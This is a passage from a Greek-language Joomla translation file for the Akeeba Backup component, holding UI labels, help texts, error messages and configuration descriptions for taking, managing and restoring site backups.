COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT_HELP="Αυτό θα εμφανίζεται τόσο στη σελίδα Διαχείριση αντιγράφων ασφαλείας όσο και μέσα στο αρχείο αντιγράφου ασφαλείας (στο αρχείο installation/README.html) για ευκολία σας."
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION="Σύντομη περιγραφή"
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION_HELP="Αυτό θα εμφανίζεται στη σελίδα Διαχείριση αντιγράφων ασφαλείας για ευκολία σας."
COM_AKEEBABACKUP_BACKUP_LABEL_DETECTEDQUIRKS="Το Akeeba Backup ενδέχεται να μην λειτουργεί όπως αναμένεται"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_FINISHED="Ολοκλήρωση διαδικασίας αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INIT="Αρχικοποίηση διαδικασίας αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INSTALLER="Ενσωμάτωση εγκαταστάτη στο αρχείο"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKDB="Δημιουργία αντιγράφου ασφαλείας βάσεων δεδομένων"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKING="Δημιουργία αντιγράφου ασφαλείας αρχείων"
COM_AKEEBABACKUP_BACKUP_LABEL_PROGRESS="Πρόοδος αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BACKUP_LABEL_QUIRKSLIST="Το Akeeba Backup εντόπισε τα εξής πιθανά προβλήματα:"
COM_AKEEBABACKUP_BACKUP_LABEL_RESTORE_DEFAULT="Επαναφορά προεπιλογής"
COM_AKEEBABACKUP_BACKUP_LABEL_START="Δημιουργία αντιγράφου τώρα!"
COM_AKEEBABACKUP_BACKUP_LABEL_WARNINGS="Προειδοποιήσεις"
COM_AKEEBABACKUP_BACKUP_LBL_EXPLAIN_PROFILES="Μπορείτε να αλλάξετε το ενεργό προφίλ αντιγράφου ασφαλείας παραπάνω για να λάβετε αντίγραφο ασφαλείας με διαφορετικές ρυθμίσεις. Μπορείτε να δημιουργήσετε προφίλ αντιγράφων ασφαλείας στη σελίδα Προφίλ."
COM_AKEEBABACKUP_BACKUP_LBL_UPGRADENAG="Κουραστήκατε να βλέπετε αυτή τη σελίδα; Μπορείτε να αυτοματοποιήσετε τα αντίγραφα ασφαλείας σας με το Akeeba Backup Professional."
COM_AKEEBABACKUP_BACKUP_STATS="Στατιστικά αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BACKUP_STATUS_NONE="Δεν ελήφθη αντίγραφο ασφαλείας"
COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING="Χρησιμοποιείτε το antivirus AVG με ενεργοποιημένο το Link Scanner. Αυτό είναι γνωστό ότι προκαλεί προβλήματα αντιγράφου ασφαλείας. Παρακαλώ απενεργοποιήστε τη λειτουργία Link Scanner εάν αντιμετωπίζετε προβλήματα.\n\nΕίστε σίγουροι ότι θέλετε να συνεχίσετε παρά αυτή την προειδοποίηση;"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKINGUP="Παρακαλώ <strong>ΜΗΝ</strong> μεταβείτε σε άλλη σελίδα, αλλάξετε καρτέλα/παράθυρο προγράμματος περιήγησης, ή μεταβείτε σε <em>διαφορετική εφαρμογή</em> έως ότου δείτε μήνυμα ολοκλήρωσης ή σφάλματος. Βεβαιωθείτε ότι η συσκευή σας δεν μπαίνει σε αδράνεια κατά τη διάρκεια δημιουργίας αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED="Η λειτουργία αντιγράφου ασφαλείας ανεστάλη επειδή εντοπίστηκε σφάλμα.<br />Το τελευταίο μήνυμα σφάλματος ήταν:"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILEDRETRY="Η λειτουργία αντιγράφου ασφαλείας ανεστάλη επειδή εντοπίστηκε σφάλμα. Ωστόσο, το Akeeba Backup θα επιχειρήσει να επαναλάβει το αντίγραφο ασφαλείας. Εάν δεν θέλετε να επαναλάβετε το αντίγραφο ασφαλείας, κάντε κλικ στο κουμπί Ακύρωση παρακάτω."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED="Το αντίγραφο ασφαλείας ολοκληρώθηκε στις"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT="Αναστολή αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC="Το αντίγραφο ασφαλείας θα συνεχιστεί σε %d δευτερόλεπτα"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME="Το αντίγραφο ασφαλείας συνεχίστηκε στις"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED="Το αντίγραφο ασφαλείας ξεκίνησε στις"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING="Το αντίγραφο ασφαλείας εξέδωσε προειδοποίηση"
COM_AKEEBABACKUP_BACKUP_TEXT_BTNRESUME="Συνέχεια"
COM_AKEEBABACKUP_BACKUP_TEXT_CONGRATS="Συγχαρητήρια! Η διαδικασία αντιγράφου ασφαλείας ολοκληρώθηκε επιτυχώς.<br/>Μπορείτε τώρα να μεταβείτε σε άλλη σελίδα."
COM_AKEEBABACKUP_BACKUP_TEXT_LASTERRORMESSAGEWAS="Για ενημέρωσή σας, το τελευταίο μήνυμα σφάλματος ήταν:"
COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE="Τελευταία απόκριση διακομιστή πριν %s δευτ."
COM_AKEEBABACKUP_BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Παρακαλώ περιμένετε· ανακατευθύνεστε στην επόμενη σελίδα.<br/>Αυτό μπορεί να διαρκέσει 5-30 δευτερόλεπτα, ανάλογα με τη σύνδεσή σας στο Διαδίκτυο."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAIL="Παρακαλώ κάντε κλικ στο κουμπί 'Προβολή αρχείου καταγραφής' στη γραμμή εργαλείων για να δείτε το αρχείο καταγραφής Akeeba Backup για περισσότερες πληροφορίες."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAILPRO="Παρακαλώ κάντε κλικ στο κουμπί 'Ανάλυση αρχείου καταγραφής' παρακάτω για να αναλύσει το Akeeba Backup το αρχείο καταγραφής του για περισσότερες πληροφορίες."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVE="Σας συνιστούμε θερμά να ακολουθήσετε τις βήμα-προς-βήμα οδηγίες στον <a href=\"%s\">οδηγό αντιμετώπισης προβλημάτων</a> μας για να επιλύσετε εύκολα αυτό το πρόβλημα μόνοι σας."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVEPRO="Η εφαρμογή των προτάσεων του ALICE, του αναλυτή αρχείου καταγραφής μας, ενδέχεται να μην είναι αρκετή. Ο αυτόματος αναλυτής αρχείου καταγραφής δεν μπορεί να καλύψει όλες τις πιθανές περιπτώσεις προβλημάτων."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_CORE="Εάν αυτό δεν βοηθήσει, μπορείτε να εξετάσετε το ενδεχόμενο <a href=\"%s\">αγοράς συνδρομής</a> ώστε να μπορείτε να ζητήσετε υποστήριξη στο <a href=\"%s\">σύστημα ticket υποστήριξης</a> μας."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_LOG="Εάν δημοσιεύσετε στο σύστημα ticket μας, θυμηθείτε να συμπιέσετε και να επισυνάψετε το <a href=\"%s\">αρχείο καταγραφής αντιγράφου ασφαλείας</a> στο μήνυμά σας ώστε να μπορούμε να σας βοηθήσουμε γρηγορότερα."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_PRO="Εάν αυτό δεν βοηθήσει, μη διστάσετε να ζητήσετε υποστήριξη στο <a href=\"%s\">σύστημα ticket υποστήριξης</a> μας. Σημειώστε ότι χρειάζεστε ενεργή συνδρομή για να ζητήσετε βοήθεια μέσω του συστήματος ticket. Εάν το Akeeba Backup Professional εγκαταστάθηκε στον ιστότοπό σας από τρίτο — π.χ. τον web developer σας — παρακαλώ μην επικοινωνήσετε με την Akeeba Ltd για υποστήριξη. Αντ' αυτού, επικοινωνήστε με το πρόσωπο που εγκατέστησε το λογισμικό στον ιστότοπό σας και ζητήστε βοήθεια για την επίλυση αυτού του ζητήματος."
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRY="Το αντίγραφο ασφαλείας θα συνεχιστεί σε"
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRYSECONDS="δευτερόλεπτα"
COM_AKEEBABACKUP_BACKUP_TROUBLESHOOTINGDOCS="Τεκμηρίωση αντιμετώπισης προβλημάτων"

COM_AKEEBABACKUP_BROWSER_ERR_BASEDIR="Ο καθορισμένος κατάλογος υπόκειται σε περιορισμούς open_basedir. Δεν μπορεί να χρησιμοποιηθεί ούτε για έξοδο αντιγράφου ασφαλείας, ούτε τα περιεχόμενά του, εάν υπάρχουν, μπορούν να καταχωριστούν."
COM_AKEEBABACKUP_BROWSER_ERR_NONROOT="Για ενημέρωσή σας: Αυτός ο κατάλογος βρίσκεται εκτός της ρίζας web του ιστότοπού σας."
COM_AKEEBABACKUP_BROWSER_ERR_NOTEXISTS="Ο καθορισμένος κατάλογος δεν υπάρχει!"
COM_AKEEBABACKUP_BROWSER_LBL_GO="Μετάβαση"
COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT="&lt;ένα επίπεδο πάνω&gt;"
COM_AKEEBABACKUP_BROWSER_LBL_USE="Χρήση"

COM_AKEEBABACKUP_BUADMIN="Διαχείριση αντιγράφων ασφαλείας"
COM_AKEEBABACKUP_BUADMIN_TABLE_CAPTION="Πίνακας απόπειρων αντιγράφων ασφαλείας"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_ASC="Έναρξη αντιγράφου ασφαλείας αύξουσα"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_DESC="Έναρξη αντιγράφου ασφαλείας φθίνουσα"
COM_AKEEBABACKUP_BUADMIN_BTN_DONTSHOWTHISAGAIN="Κατανοητό!"
COM_AKEEBABACKUP_BUADMIN_BTN_REMINDME="Υπενθύμισέ μου την επόμενη φορά"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDDOWNLOAD="Δεν είναι δυνατή η λήψη του αρχείου της καθορισμένης εγγραφής αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID="Μη έγκυρο αναγνωριστικό εγγραφής αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_ARCHIVES="Δεν ήταν δυνατή η διαγραφή των αρχείων αντιγράφου ασφαλείας. Παρακαλώ ελέγξτε τα δικαιώματα."
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_RECORD="Δεν ήταν δυνατή η διαγραφή της εγγραφής αρχείου αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED_1="Η εγγραφή αντιγράφου ασφαλείας καταψύχθηκε."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED="%d εγγραφές αντιγράφων ασφαλείας καταψύχθηκαν."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED_1="Η εγγραφή αντιγράφου ασφαλείας αποκαταψύχθηκε."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED="%d εγγραφές αντιγράφων ασφαλείας αποκαταψύχθηκαν."
COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR="Δεν είναι δυνατή η εκτέλεση της επιλεγμένης ενέργειας σε κατεψυγμένη εγγραφή"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE="Κατάψυξη εγγραφής"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE="Αποκατάψυξη εγγραφής"
COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT="Σχόλιο"
COM_AKEEBABACKUP_BUADMIN_LABEL_DELETEFILES="Διαγραφή αρχείων"
COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION="Περιγραφή"
COM_AKEEBABACKUP_BUADMIN_LABEL_DURATION="Διάρκεια"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN="Κατεψυγμένο"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN="Κατεψυγμένο"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_SELECT="– Κατεψυγμένο –"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN="Αποκαταψυγμένο"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="Πώς επαναφέρω τα αντίγραφα ασφαλείας μου;"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE="<p>Μπορείτε να επαναφέρετε τα αντίγραφα ασφαλείας σας σε οποιονδήποτε διακομιστή, ακόμα και σε διαφορετικό από αυτόν που λάβατε το αντίγραφο. Ακολουθήστε το <a href=\"%s\" target=\"_blank\">βιντεοσεμινάριό</a> μας. Θα χρειαστείτε το <a href=\"%3$s\" target=\"_blank\">Akeeba Kickstart Core (δωρεάν)</a> για να αποσυμπιέσετε τα αρχεία αντιγράφων ασφαλείας, όπως περιγράφει το σεμινάριο.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO="<strong>Μπορεί να είναι <em>πιο εύκολο</em> από αυτό.</strong>Μπορείτε να επαναφέρετε αρχεία αντιγράφων ασφαλείας στον ίδιο ή διαφορετικό διακομιστή από τη διεπαφή του Akeeba Backup. Χωρίς να χρειάζεται να μεταφέρετε αρχεία μόνοι σας. Μάθετε για αυτές και πολλές άλλες λειτουργίες διαθέσιμες αποκλειστικά στο <a href=\"%s\">Akeeba Backup Professional</a>!"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_PRO="<p>Είναι εύκολο! Επιλέξτε το πλαίσιο ελέγχου δίπλα σε μια καταχώριση αντιγράφου ασφαλείας. Τώρα κάντε κλικ στο κουμπί <em>Επαναφορά</em> στη γραμμή εργαλείων.</p><p>Εάν θέλετε να επαναφέρετε σε νέο, δημόσιο διακομιστή, μπορείτε να χρησιμοποιήσετε τον <a href=\"%2$s\">Οδηγό μεταφοράς ιστότοπου</a>. Εάν προτιμάτε να το κάνετε χειροκίνητα ή να επαναφέρετε στον υπολογιστή σας ή το Intranet, παρακολουθήστε το <a href=\"%1$s\" target=\"_blank\">βιντεοσεμινάριό</a> μας και <a href=\"%3$s\" target=\"_blank\">κατεβάστε το Akeeba Kickstart Core (δωρεάν)</a> για να αποσυμπιέσετε τα αρχεία αντιγράφων ασφαλείας.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_ID="ID"
COM_AKEEBABACKUP_BUADMIN_LABEL_MANAGEANDDL="Διαχείριση &amp; Λήψη"
COM_AKEEBABACKUP_BUADMIN_LABEL_NODESCRIPTION="(χωρίς περιγραφή)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN="Προέλευση"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND="Backend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI="Γραμμή εντολών"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND="Frontend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON="JSON API"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLA="Προγραμματισμένες εργασίες Joomla"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLACLI="Προγραμματισμένες εργασίες Joomla (μόνο CLI)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_SELECT="– Προέλευση –"
COM_AKEEBABACKUP_BUADMIN_LABEL_PART="Μέρος %02d"
COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID="Προφίλ"
COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT="Διαχείριση απομακρυσμένα αποθηκευμένων αρχείων"
COM_AKEEBABACKUP_BUADMIN_LABEL_RESTORE="Επαναφορά"
COM_AKEEBABACKUP_BUADMIN_LABEL_SIZE="Μέγεθος"
COM_AKEEBABACKUP_BUADMIN_LABEL_START="Ώρα έναρξης αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BUADMIN_LABEL_END="Ώρα λήξης αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS="Κατάσταση"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_COMPLETE="Ολοκληρώθηκε"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL="Αποτυχία"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OBSOLETE="Απαρχαιωμένο"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OK="OK"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING="Εκκρεμές"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_REMOTE="Απομακρυσμένο"
COM_AKEEBABACKUP_BUADMIN_LABEL_TYPE="Τύπος"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROM_DATE="Αντίγραφο ασφαλείας ελήφθη μετά"
COM_AKEEBABACKUP_BUADMIN_LABEL_TO_DATE="Αντίγραφο ασφαλείας ελήφθη πριν"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEEXISTS="Είναι ακόμα διαθέσιμο το αρχείο αντιγράφου ασφαλείας στον διακομιστή μου;"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME="Πώς ονομάζεται;"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME_PAST="Πώς ονομαζόταν;"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH="Πού μπορώ να το βρω στον διακομιστή μου;"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH_PAST="Πού βρισκόταν στον διακομιστή μου;"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS_1="Το αντίγραφο ασφαλείας σας αποτελείται από ένα αρχείο."
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS="Το αντίγραφο ασφαλείας σας αποτελείται από %d αρχεία."
COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO="Πληροφορίες αρχείου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_PARTS="Το αντίγραφο ασφαλείας σας αποτελείται από %d αρχεία μερών. <em>Πρέπει</em> να κατεβάσετε όλα και να τα τοποθετήσετε στον ίδιο κατάλογο για να επιτύχει η αποσυμπίεση και η επαναφορά."
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_TITLE="Η λήψη μέσω προγράμματος περιήγησης μπορεί να καταστρέψει τα αρχεία"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_WARNING="Συνιστούμε να κλείσετε αυτό το παράθυρο διαλόγου και να χρησιμοποιήσετε FTP σε λειτουργία μεταφοράς <code>Binary</code> ή SFTP για τη λήψη των αρχείων αντιγράφων ασφαλείας σας."
COM_AKEEBABACKUP_BUADMIN_LBL_LOGFILEID="ID αρχείου καταγραφής"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD="Λήψη"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD_CONFIRM="Η λήψη αρχείων αντιγράφων ασφαλείας μέσω προγράμματος περιήγησης είναι επιρρεπής\nσε αποτυχία, καταστροφή αρχείων και περικοπή αρχείων για λόγους\nαντικειμενικά εκτός ελέγχου μας (ρύθμιση διακομιστή, ρύθμιση ιστότοπου,\nπρόσθετα τρίτων και ρύθμιση προγράμματος περιήγησης).\n\nΣυνιστούμε ΕΝΤΟΝΑ να κατεβάζετε πάντα\nαρχεία αντιγράφων ασφαλείας μέσω FTP σε λειτουργία μεταφοράς Binary\n(μην χρησιμοποιείτε Αυτόματη ή ASCII· θα καταστρέψει τα αρχεία\nαντιγράφων ασφαλείας σας) χρησιμοποιώντας λογισμικό πελάτη όπως FileZilla,\nCyberDuck, WinSCP ή παρόμοιο· ή χρησιμοποιώντας τη\nλειτουργία διαχείρισης αρχείων του πίνακα ελέγχου φιλοξενίας σας.\n\nΕάν συνεχίσετε με αυτή τη λήψη, συμφωνείτε ρητά\nότι παραιτείστε από το δικαίωμα υποστήριξης για οποιοδήποτε πρόβλημα\nλήψης, αποσυμπίεσης ή επαναφοράς αρχείου αντιγράφου ασφαλείας και\nκατανοείτε ότι τέτοια αιτήματα δεν θα απαντηθούν.\n\nΕίστε σίγουροι ότι θέλετε να συνεχίσετε;"
COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT="Προβολή/Επεξεργασία σχολίου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_BUADMIN_LOG_NOT_AVAILABLE="Αυτό το αρχείο καταγραφής δεν είναι πλέον διαθέσιμο στον ιστότοπό σας"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEDOK="Οι αλλαγές στην καταχώριση αντιγράφου ασφαλείας αποθηκεύτηκαν επιτυχώς"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEERROR="Οι αλλαγές στην καταχώριση αντιγράφου ασφαλείας δεν αποθηκεύτηκαν"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETED="Η καταχώριση και το αρχείο αντιγράφου ασφαλείας διαγράφηκαν επιτυχώς"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETEDFILE="Το αρχείο αντιγράφου ασφαλείας διαγράφηκε επιτυχώς"
COM_AKEEBABACKUP_BUADMIN_UNFREEZE_OK="Οι εγγραφές αποκαταψύχθηκαν σωστά"

COM_AKEEBABACKUP_COMMON_EMAIL_BODY_INFO="Το νέο αντίγραφο ασφαλείας ελήφθη με το προφίλ #%s. Αποτελείται από %s μέρος/η. Η πλήρης λίστα των αρχείων αυτού του σετ αντιγράφων ασφαλείας είναι η εξής:"
COM_AKEEBABACKUP_COMMON_EMAIL_BODY_OK="Το Akeeba Backup ολοκλήρωσε με επιτυχία τη δημιουργία αντιγράφου ασφαλείας του ιστότοπού σας χρησιμοποιώντας τη λειτουργία αντιγράφου ασφαλείας frontend. Μπορείτε να επισκεφθείτε την ενότητα διαχείρισης του ιστότοπου για να πραγματοποιήσετε λήψη του αντιγράφου."
COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT="Έχετε νέο τμήμα αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_COMMON_EMAIL_SUBJECT_OK="Το Akeeba Backup έλαβε νέο αντίγραφο ασφαλείας"
COM_AKEEBABACKUP_COMMON_ERR_NOT_ENABLED="Η λειτουργία δεν επιτρέπεται"

COM_AKEEBABACKUP_CONFIG="Ρυθμίσεις"
COM_AKEEBABACKUP_CONFIGURATION="Akeeba Backup <small>Επιλογές Ρύθμισης Επέκτασης</small>"
COM_AKEEBABACKUP_CONFIG_ADVANCED="Σύνθετες ρυθμίσεις"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_DESC="Το Akeeba Backup θα διακόπτει το βήμα επεξεργασίας μετά την αρχειοθέτηση ενός μεγάλου αρχείου. Όταν ενεργοποιείτε αυτή την επιλογή, το Akeeba Backup θα λειτουργεί ταχύτερα. Ωστόσο, αυτό ενδέχεται να οδηγήσει σε σφάλματα timeout ή Internal Server."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_LABEL="Απενεργοποίηση διακοπής βήματος μετά από μεγάλα αρχεία"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_DESC="Το Akeeba Backup θα διακόπτει το βήμα επεξεργασίας κάθε φορά που αρχίζει να εργάζεται σε ένα νέο τομέα. Αυτό βελτιώνει την αναλυτικότητα της διαδικασίας, αλλά επεκτείνει τον χρόνο δημιουργίας αντιγράφων ασφαλείας κατά 10-20 δευτερόλεπτα. Όταν ενεργοποιείτε αυτή την επιλογή, το Akeeba Backup θα λειτουργεί ταχύτερα. Ωστόσο, ενδέχεται να παρατηρήσετε ασταθή συμπεριφορά στα βήματα που αναφέρονται στη σελίδα δημιουργίας αντιγράφων ασφαλείας."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_LABEL="Απενεργοποίηση διακοπής βήματος μεταξύ τομέων"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_DESC="Το Akeeba Backup θα διακόπτει το βήμα επεξεργασίας πριν από την αρχειοθέτηση ενός μεγάλου αρχείου. Όταν ενεργοποιείτε αυτή την επιλογή, το Akeeba Backup θα λειτουργεί ταχύτερα. Ωστόσο, αυτό ενδέχεται να οδηγήσει σε σφάλματα timeout ή Internal Server."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_LABEL="Απενεργοποίηση διακοπής βήματος πριν από μεγάλα αρχεία"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_DESC="Το Akeeba Backup θα διακόπτει το βήμα επεξεργασίας εάν εκτιμά ότι θα εξαντληθεί ο χρόνος πριν αρχειοθετήσει ένα αρχείο. Αυτός ο υπολογισμός δεν είναι απολύτως ακριβής και ενδέχεται να οδηγήσει σε πιο αργά αντίγραφα ασφαλείας. Όταν ενεργοποιείτε αυτή την επιλογή, το Akeeba Backup θα λειτουργεί ταχύτερα. Ωστόσο, αυτό ενδέχεται να οδηγήσει σε σφάλματα timeout ή Internal Server."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_LABEL="Απενεργοποίηση προληπτικής διακοπής βήματος"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_DESC="Το Akeeba Backup θα διακόπτει το βήμα επεξεργασίας μεταξύ των υπο-βημάτων της οριστικοποίησης και της μεταεπεξεργασίας του αντιγράφου ασφαλείας. Αυτό μπορεί να προσθέσει περίπου 10 δευτερόλεπτα στον συνολικό χρόνο δημιουργίας αντιγράφων ασφαλείας. Όταν ενεργοποιείτε αυτή την επιλογή, το Akeeba Backup θα λειτουργεί ταχύτερα. Ωστόσο, αυτό ενδέχεται να οδηγήσει σε σφάλματα timeout ή Internal Server."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_LABEL="Απενεργοποίηση διακοπής βήματος κατά την οριστικοποίηση"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_DESC="Εάν ο διακομιστής σας δεν εκτελεί PHP σε Safe Mode και υποστηρίζει το set_time_limit(), το Akeeba Backup θα προσπαθήσει να ορίσει άπειρο μέγιστο χρόνο εκτέλεσης PHP για την αντιμετώπιση πιθανών προβλημάτων timeout"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Ορισμός άπειρου χρονικού ορίου PHP"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_DESC="Ενημερώνει το Akeeba Backup να προσπαθήσει να αυξήσει το όριο μνήμης PHP σε μια εξαιρετικά υψηλή τιμή (16Gb). Αυτό σας επιτρέπει να συμπιέζετε μεγαλύτερα αρχεία και να ανεβάζετε μεγαλύτερα αρχεία αντιγράφων ασφαλείας χρησιμοποιώντας επιλογές απομακρυσμένης αποθήκευσης που απαιτούν πολλή μνήμη, όπως το WebDAV. Σημείωση: αυτό ορίζει μόνο το ανώτατο όριο κατανάλωσης μνήμης. Στις περισσότερες περιπτώσεις, η μηχανή δημιουργίας αντιγράφων ασφαλείας του Akeeba Backup καταναλώνει <em>πολύ λιγότερη</em> μνήμη από αυτό, συνήθως γύρω στα 20Mb. Η συμπίεση και η μεταφόρτωση μεγαλύτερων αρχείων απαιτεί επίσης αλλαγή άλλων επιλογών στη σελίδα Ρύθμισης του προφίλ αντιγράφων ασφαλείας."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_LABEL="Ορισμός μεγάλου ορίου μνήμης"
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION="Μπορείτε προαιρετικά να προστατεύσετε με κωδικό πρόσβασης το Σενάριο Επαναφοράς Akeeba Backup, αποτρέποντας τη μη εξουσιοδοτημένη πρόσβαση στο πρόγραμμα εγκατάστασης. Κατά την εκτέλεση του προγράμματος εγκατάστασης θα σας ζητηθεί να εισαγάγετε αυτόν τον κωδικό πρόσβασης. Σημειώστε ότι ο κωδικός πρόσβασης κάνει διάκριση πεζών-κεφαλαίων, δηλαδή τα ABC, abc και Abc είναι τρεις διαφορετικοί κωδικοί πρόσβασης."
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE="Κωδικός πρόσβασης σεναρίου επαναφοράς"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_DESC="Αποστολή email σε αυτή τη διεύθυνση (αφήστε κενό για αποστολή email σε όλους τους Super Users)"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_LABEL="Διεύθυνση email"
